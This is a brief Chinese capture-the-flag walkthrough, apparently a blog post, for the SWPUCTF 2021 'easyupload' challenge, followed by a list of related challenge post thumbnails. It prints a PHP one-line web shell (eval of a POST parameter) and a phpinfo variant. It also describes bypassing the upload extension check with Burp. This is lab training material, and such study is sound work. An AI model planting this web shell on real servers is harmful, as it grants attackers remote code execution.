发现是上传文件第一想到是文件木马 <?php @eval ($_POST[123]);?>木马上传burp修改后缀发现flag里面这个是假的 我们猜想是在phpinfo我们上传<?php @eval('phpinfo();');?>木马上传burp修改后缀里面 Ctrl+F 发现flag
![[<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]<span style='color:red;'>easyupload</span>3.0](https://img-blog.csdnimg.cn/direct/4b367d18cda747549326ae8f5e81f7cc.png#pic_center)
[SWPUCTF 2021 新生赛]easyupload3.0
2024-02-05 05:58:06 58 阅读
![NSSCTF | [<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]<span style='color:red;'>easyupload</span>2.0](https://img-blog.csdnimg.cn/direct/9c8c38a8e6224303b8249114795a31f9.png)
![[NSSCTF]-Web:[<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]<span style='color:red;'>easyupload</span>1.0解析（抓包修改文件后缀，在phpinfo找flag）](https://img-blog.csdnimg.cn/direct/d26a492652ac4a23ba6653fe6663855d.png)
![[<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]jicao](https://img-blog.csdnimg.cn/direct/9d5d19b9434a485c9465365010d9352d.png)
![[<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]sql](https://img-blog.csdnimg.cn/direct/77b0929906bd4a72a45588bd57968c67.png#pic_center)
![[<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]finalrce](https://img-blog.csdnimg.cn/direct/3443a69972a64ef790de507b57df1ba5.png#pic_center)
![[<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]pop](https://img-blog.csdnimg.cn/direct/6fc43c1819e6480ba53ec8dc532065ca.png#pic_center)
![[<span style='color:red;'>SWPUCTF</span> <span style='color:red;'>2021</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]pop](https://img-blog.csdnimg.cn/direct/0afa4c4dc6914954ad63e3e2f0033892.png)
